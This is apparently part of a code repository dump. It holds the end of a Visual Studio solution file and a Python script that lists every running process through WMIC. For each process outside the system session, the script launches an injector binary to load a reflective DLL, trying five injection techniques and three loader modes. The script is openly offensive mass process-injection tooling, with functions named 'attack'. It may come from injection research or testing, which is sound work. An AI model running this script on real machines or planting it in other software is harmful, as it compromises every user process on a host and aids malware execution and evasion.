13 | Debug|x64 = Debug|x64 14 | Release|Win32 = Release|Win32 15 | Release|x64 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Debug|Win32 19 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Debug|Win32 20 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Debug|x64 21 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Debug|x64 22 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 23 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 24 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 25 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 26 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Debug|Win32 27 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Debug|Win32 28 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Debug|x64 29 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Debug|x64 30 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 31 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 32 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 33 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | EndGlobal 39 | -------------------------------------------------------------------------------- /script/inject_to_all.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import re 3 | import os 4 | 5 | def get_proc_list(): 6 | 7 | cmd = "WMIC PROCESS get Caption,Processid,SessionId" 8 | wmi_proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, universal_newlines=True) 9 | proc_list = [] 10 | for line in wmi_proc.stdout: 11 | r = re.search('(\D+) (\d+) (\D+) (\d+)(\D+)', line) 12 | if r: 13 | proc = "".join(r.group(1).split()) 14 | proc_list.append((proc, r.group(2), r.group(4))) 15 | else: 16 | print("can't parse [" + line + "]") 17 | return proc_list 18 | 19 | 20 | def attack(pid, bin, dll): 21 | 22 | injections = ['CRT', 'STC', 'QUA', 'NQAT', 'NQATE'] 23 | loader = ['R', 'LW', 'LA'] 24 | for i in injections: 25 | for l in loader: 26 | cmd = bin + ' ' + str(pid) + ' ' + dll + ' ' + i + ' ' + l 27 | prey = subprocess.run(cmd, universal_newlines=True).stdout 28 | 29 | 30 | def attack_all(proc_list, bin, dll): 31 | 32 | for proc in proc_list: 33 | print(5*'-', proc[0], proc[1], proc[2]) 34 | if (int(proc[2]) == 0): 35 | print("Skip process in system session") 36 | continue 37 | attack(proc[1], bin, dll) 38 | 39 | 40 | def get_path(file): 41 | 42 | path = '' 43 | if os.path.exists(file): 44 | path = file 45 | else: 46 | while not path: 47 | print('Enter a path to %s:'%file) 48 | path = input() 49 | path = re.sub('[\'\"]','', path) 50 | head, tail = os.path.split(path) 51 | if (not os.path.exists(path)) or (tail != file): 52 | print ('Invalid path!') 53 | path = '' 54 | return path 55 | 56 | 57 | def main(): 58 | 59 | bin = get_path('inject.exe') 60 | dll = get_path('reflective_dll.dll') 61 | pl = get_proc_list() 62 | attack_all(pl, bin, dll) 63 | 64 | 65 | if __name__=="__main__": 66 | main() 67 | --------------------------------------------------------------------------------